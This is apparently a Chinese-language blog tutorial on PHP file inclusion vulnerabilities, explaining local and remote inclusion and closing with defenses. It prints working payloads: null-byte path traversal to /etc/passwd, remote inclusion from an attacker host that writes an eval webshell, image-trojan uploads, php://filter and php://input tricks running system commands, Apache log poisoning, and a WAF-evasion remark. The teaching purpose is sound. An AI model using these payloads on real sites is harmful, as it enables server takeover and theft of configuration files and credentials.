• 文件包含


    文件包含说明

    定义:在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

    程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为包含。

    程序开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
    文件包含漏洞在PHP Web Application中居多,而在JSP,ASP,ASP.NET程序中却非常少,甚至没有包含漏洞的存在。
    PHP常见的导致文件包含的函数如下:include(),include_once(),require(),require_once(),fopen(),readfile()
    当使用前4个函数包含一个新的文件时,只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析。包含非PHP语法规范源文件时,将会暴露其源代码。

    后2个函数会造成敏感文件被读取。

    要想成功利用文件包含漏洞,需要满足下面两个条件:

    • include()等函数通过动态变量的方式引入需要包含的文件。
    • 用户能够控制该动态变量

    本地文件包含

     <?php 
     	 $file = $_GET['file']; 
         if (file_exists('/home/wwwrun'.$file.'.php')) 
         { 
           include '/home/wwwrun'.$file.'.php'; 
         } 
    ?> 
    

    假如用户控制$file的值为“../../etc/passwd”,那么这段代码相当于include '/home/wwwrun/../../etc/passwd.php',而这个文件显然是不存在的。
    需要用到字符串截断技巧:PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(x00)将作为字符串结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串,即:../../etc/passwd,通过Web输入时,只需要UrlEncode,变成../../etc/passwd%00
    “../../../”的方式又被称为“目录遍历”。可以通过配置PHP的open_basedir来限制,其作用是限制在某个特定目录下PHP能打开的文件。例如open_basedir = D:softdevelopenvsiteswww.a.com,在windows下多个目录应当用分号隔开,在Linux下则用冒号隔开。

    要解决文件包含漏洞,一种方式是使用枚举即一种白名单的方式。

    远程文件包含

    如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。

    require_once $basePath . '/action/m_share.php' 
    

    攻击者可以构造如下的攻击URL /?param=http://attacker/phpshell.txt?
    最终加载的代码实际上执行了 require_once 'http://attacker/phpshell.txt?/action/m_share.php'
    问号后面的代码被解释成URL的querystring,也是一种“截断”,这是在利用远程文件包含漏洞时的常见技巧。同样的,%00也可以用做截断符号。

    本地文件包含的利用技巧

    1. 读取敏感文件
      访问URL:http://www.xxser.com/index.php?page=/etc/passwd
      如果目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容。反之,就会得到一个类似于;open_basedir restriction in effect的警告。

    2. 远程包含Shell
      如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马,如:http://www.attacker.com/echo.txt,代码如下:
      <?php fputs(fopen("shell.php","w"),"<?php eval($_POST[xxser]);?>");?>
      访问:http://www.example.com/index.php?page=http://www.attacker.com/echo.txt。将会在index.php所在的目录下生成shell.php,内容为:
      <?php eval($_POST[xxser]);?>

    3. 本地包含配合文件上传
      假设已经上传一句话图片木马到服务器,路径为:/uploadfile/xxx.jpg
      图片代码如下:<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[xxser]);?>");?>
      访问URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php。

    4. 使用PHP封装协议

      • 使用封装协议读取PHP文件
        例子如下:http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
        访问URL,得到经过Base64加密后的字符串,这段代码就是Base64加密过后的PHP源代码,解密后就可得到原本的“样貌”。
      • 写入PHP文件
        在allow_url_include为On时,构造URL:http://www.example.com/index.php?page=php://input,并且提交数据为:<?php system('net user');?>
        会得到net user命令的结果。
    5. 包含Apache日志文件
      本地文件包含的利用。
      Apache有两个日志文件:access.log(访问日志)和error.log(错误日志)。
      攻击者先访问http://www.example.com/<?php phpinfo();?>,操作这一步时,需要Burp,否则<,>,空格都会被转码。
      随后访问http://www.xxser.com/index.php?page=./../Apache-20/logs/access.log
      使用这种方式时,找到Apache的路径是关键。

    6. 截断包含

      <?php
      if(isset($_GET['page'])){
      include $_GET['page'].".php";
      }else{
      include 'home.php';
      }
      ?>
      

      如果此时存在一个图片木马,名为1.jpg,可以输入如下URL:http://www.example.com/index.php?page=1.jpg%00
      当然这种方法只适用于magic_quotes_gpc=Off的情况下。

    7. 绕过WAF防火墙
      图片木马一般不会被web杀毒软件查出来。

    防御方法

    1.严格判断包含的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是 否可被外部控制;
    2.路径限制:限制被包含的文件只能在某一文件夹内,一定要禁止目录跳转字符,如:“../”;
    3.包含文件验证:验证被包含的文件是否是白名单中的一员;
    4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include("head.php");。

    后记

    include和require语句是相同的,除了错误处理方面:
    reuqire会生成致命错误(E_COMPILE_ERROR)并停止脚本
    include只生成错误报告(E_WARING),并且脚本会继续
    require和require_once的差别是,require重复调用会多次加载你引用的文件,而require_once只加载一次,而不管你实际上调用了多少次,主要用于复杂的文件包含关系。
    include和include_once的差别也可以以此类推。

  • 相关阅读:
    [bzoj3224] 普通平衡树
    [总结] 三种常见的区间贪心问题
    [NOIP2014] 飞扬的小鸟
    POJ 1185 炮兵阵地
    WOJ 1538 Stones II 转化背包问题
    WOJ 1542 Countries 并查集转化新点+最短路
    UVA 11375 高精度Bign类
    2014_csu选拔1_B
    Codeforces 405D 数学问题
    Codeforces 400C 矩阵乘法 数学规律
  • 原文地址:https://www.cnblogs.com/tomyyyyy/p/12841774.html
Copyright © 2020-2023  润新知